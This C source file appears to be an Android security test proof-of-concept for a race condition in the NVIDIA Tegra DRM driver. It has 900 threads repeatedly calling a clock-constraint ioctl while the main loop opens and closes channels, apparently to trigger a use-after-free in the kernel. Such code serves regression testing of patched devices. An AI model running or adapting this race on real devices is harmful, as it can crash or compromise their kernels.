1 /*
2 * Copyright (C) 2017 The Android Open Source Project
3 *
4 * Licensed under the Apache License, Version 2.0 (the "License");
5 * you may not use this file except in compliance with the License.
6 * You may obtain a copy of the License at
7 *
8 * http://www.apache.org/licenses/LICENSE-2.0
9 *
10 * Unless required by applicable law or agreed to in writing, software
11 * distributed under the License is distributed on an "AS IS" BASIS,
12 * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
13 * See the License for the specific language governing permissions and
14 * limitations under the License.
15 */
16 #define _GNU_SOURCE
17 #include <stdio.h>
18 #include <stdlib.h>
19 #include <pthread.h>
20 #include <sys/ioctl.h>
21 #include <errno.h>
22 #include <sys/stat.h>
23 #include <fcntl.h>
24 #include <sched.h>
25 #include <sys/types.h>
26 #include <signal.h>
27 #include <unistd.h>
28
29 #define CLK_THREAD_NUM 900
30 #define TRY_TIMES CLK_THREAD_NUM
31 #define DEV "/dev/dri/renderD129"
32
33 #define SIOCIWFIRSTPRIV 0x8BE0
34 #define SIOCGIWNAME 0x8B01
35 #define IOCTL_SET_STRUCT_FOR_EM (SIOCIWFIRSTPRIV + 11)
36 #define PRIV_CUSTOM_BWCS_CMD 13
37 #define PRIV_CMD_OID 15
38 #define PRIV_CMD_SW_CTRL 20
39 #define PRIV_CMD_WSC_PROBE_REQ 22
40
41 enum host1x_class {
42 HOST1X_CLASS_HOST1X = 0x1,
43 HOST1X_CLASS_NVENC = 0x21,
44 HOST1X_CLASS_VI = 0x30,
45 HOST1X_CLASS_ISPA = 0x32,
46 HOST1X_CLASS_ISPB = 0x34,
47 HOST1X_CLASS_GR2D = 0x51,
48 HOST1X_CLASS_GR2D_SB = 0x52,
49 HOST1X_CLASS_VIC = 0x5D,
50 HOST1X_CLASS_GR3D = 0x60,
51 HOST1X_CLASS_NVJPG = 0xC0,
52 HOST1X_CLASS_NVDEC = 0xF0,
53 };
54
55 #define DRM_COMMAND_BASE 0x40
56 #define DRM_COMMAND_END 0xA0
57
58 #define DRM_TEGRA_OPEN_CHANNEL 0x05
59 #define DRM_TEGRA_CLOSE_CHANNEL 0x06
60 #define DRM_TEGRA_GET_CLK_CONSTRAINT 0x12
61 struct drm_tegra_open_channel {
62 __u32 client;
63 __u32 pad;
64 volatile __u64 context;
65 };
66
67 struct drm_tegra_close_channel {
68 volatile __u64 context;
69 };
70
71 struct drm_tegra_constraint {
72 __u64 context;
73 __u32 index;
74 __u32 type;
75 __u32 rate;
76 __u32 pad;
77 };
78
79 #define DRM_IOCTL_BASE 'd'
80 #define DRM_IOWR(nr,type) _IOWR(DRM_IOCTL_BASE,nr,type)
81
82 #define DRM_IOCTL_TEGRA_OPEN_CHANNEL DRM_IOWR(DRM_COMMAND_BASE + DRM_TEGRA_OPEN_CHANNEL, struct drm_tegra_open_channel)
83 #define DRM_IOCTL_TEGRA_CLOSE_CHANNEL DRM_IOWR(DRM_COMMAND_BASE + DRM_TEGRA_CLOSE_CHANNEL, struct drm_tegra_open_channel)
84 #define DRM_IOCTL_TEGRA_GET_CLK_CONSTRAINT DRM_IOWR(DRM_COMMAND_BASE + DRM_TEGRA_GET_CLK_CONSTRAINT, struct drm_tegra_constraint)
85 int fd;
86 pthread_t clk_thread_id[CLK_THREAD_NUM] = { 0 };
87
88 volatile struct drm_tegra_open_channel open_c = { 0 };
89 volatile struct drm_tegra_close_channel close_c = { 0 };
90 volatile struct drm_tegra_constraint clk_c = { 0 };
91
set_affinity(int num)92 static int set_affinity(int num)
93 {
94 int ret = 0;
95 cpu_set_t mask;
96 CPU_ZERO(&mask);
97 CPU_SET(num, &mask);
98 ret = sched_setaffinity(0, sizeof(cpu_set_t), &mask);
99 if(ret == -1){
100 }
101 return ret;
102 }
103
prepare()104 static void prepare()
105 {
106 open_c.client = HOST1X_CLASS_VIC;
107 }
108
clk_thread(void * no_use)109 void* clk_thread(void* no_use)
110 {
111 set_affinity(1);
112
113 while(1){
114 ioctl(fd, DRM_IOCTL_TEGRA_GET_CLK_CONSTRAINT, &clk_c);
115 }
116 }
117
main()118 int main()
119 {
120 int i, try_time = TRY_TIMES, ret;
121
122 /* bind_cpu */
123 set_affinity(0);
124
125 /* open dev */
126 fd = open(DEV,O_RDONLY);
127 if(fd == -1){
128 return 0;
129 }
130
131 /* prepare ioctl cmd */
132 prepare();
133
134 /* create clk thread */
135 for(i = 0; i < CLK_THREAD_NUM; i++){
136 ret = pthread_create(clk_thread_id + i, NULL, clk_thread, NULL);
137 if(ret){
138 goto out_clk_thread;
139 }
140 }
141
142 while(try_time){
143 /* open */
144 ret = ioctl(fd, DRM_IOCTL_TEGRA_OPEN_CHANNEL, &open_c);
145 if(ret == 0){
146 try_time--;
147 /* set clk */
148 clk_c.context = open_c.context;
149 /* set close */
150 close_c.context = open_c.context;
151 usleep(500);
152 ret = ioctl(fd, DRM_IOCTL_TEGRA_CLOSE_CHANNEL, &close_c);
153 }
154 }
155
156 out_clk_thread:
157 /* kill clk thread */
158 for(i = 0; i < CLK_THREAD_NUM; i++){
159 pthread_kill(clk_thread_id[i], SIGKILL);
160 }
161 out_dev:
162 close(fd);
163 return 0;
164 }
165